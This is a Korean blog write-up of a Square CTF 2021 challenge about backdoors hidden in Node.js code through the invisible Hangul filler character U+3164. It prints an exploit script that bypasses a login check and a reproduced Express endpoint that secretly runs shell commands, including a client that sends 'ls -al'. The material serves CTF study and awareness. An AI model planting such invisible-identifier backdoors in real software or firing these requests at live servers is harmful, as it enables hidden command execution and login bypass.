Square CTF 2021 - Korean Space Program (feat: 투명 백도어)

skyepodium·2022년 6월 11일
1
post-thumbnail

1. 개요

1) 종류

유니코드 한글필터, 백도어 문제

2) 문제 설치

docker file 이 문제로 주어집니다.
문제 링크

docker image 생성

Dockerfile이 위치한 경로에서 

docker build --tag kfilter .

docker cotainer 생성

-d - 백그라운드 실행
--name - 컨테이너의 이름
-p - 포트

docker run --name kfilter -p 8080:8080 -d kfilter

확인

2. 분석

1) 코드

VS Code로 열었는데 노란색 박스 5군데가 표시되면서, 유니코드 U+3164는 안보인다고 경고합니다.

2) 한글필터

한글필터눈에 안보이는 유니코드 입니다.

이슈는 유니코드는 변수명으로 사용될 수 있고, 한글필터를 사용하면 눈에 안보이는 변수로 속일 수 있습니다.

3) 백도어

로그인 API에서 username, password 이렇게 2개 받는 것 처럼 코드 작성하고 마지막, 3번째 변수를 한글필터에 받고 잇습니다.

(그냥 문제니까 로그인을 GET으로 했다는건 일단 넘어가구)

== 은 동등연산자로 비교 대상의 자료형이 다르면 강제 형변환을 합니다.

number, str을 비교하기 때문에 좌측이 string이 됩니다.

따라서, 한글필터에 '3'을 넣어서, 전달하면, if문을 통과할 수 있습니다.

3. exploit

const axios = require('axios')

axios.get("http://localhost:8080/login", {
    params: {
        id: '',
        password: '',: '3'
    }
})
    .then(res => {
        console.log('res', res.data)
    })
    .catch(err => {
        console.log('err', err)
    })

4. 해설

해설에 따르면 다음 글에서 영감을 얻었다고 합니다. THE INVISIBLE JAVASCRIPT BACKDOOR

다음 코드는 육안으로 백도어가 잘 식별되지 않습니다.

// app.js
const express = require('express')
const util = require('util')
const exec = util.promisify(require('child_process').exec)

const app = express()

app.get('/network_health', async (req, res) => {
    const { target,} = req.query
    const checkCommands = [
        `ping -c 1 ${target}`,
        `curl -s ${target}`,];
    
    try {
        const execResult = await Promise.all(checkCommands.map(cmd => cmd && exec(cmd)))
        res.status(200)
        res.send(execResult)
    } catch(e) {
        res.status(500)
        res.send('failed')
    }
});

app.listen(8080)
// client.js
const axios = require('axios')

axios.get("http://localhost:8080/network_health", {
    params: {
        target: 'google.com',: 'ls -al'
    }
})
.then(res => {
    console.log('res', res.data)
})
    .catch(err => {
        console.log('err', err)
    })

백도어는 여기에 있으며, 몰래 시스템콜을 사용할 수 있습니다.

디렉토리 조회 ls -al을 파라미터에 넣어서 보냈고, 잘 조회됩니다.

5. 소감

어렸을때 게임 닉네임 투명으로 했었는데, 개발자 되고 다시보니, 여러가지로 안좋을 수 있구나, 개발자 힘들구나

profile
callmeskye

0개의 댓글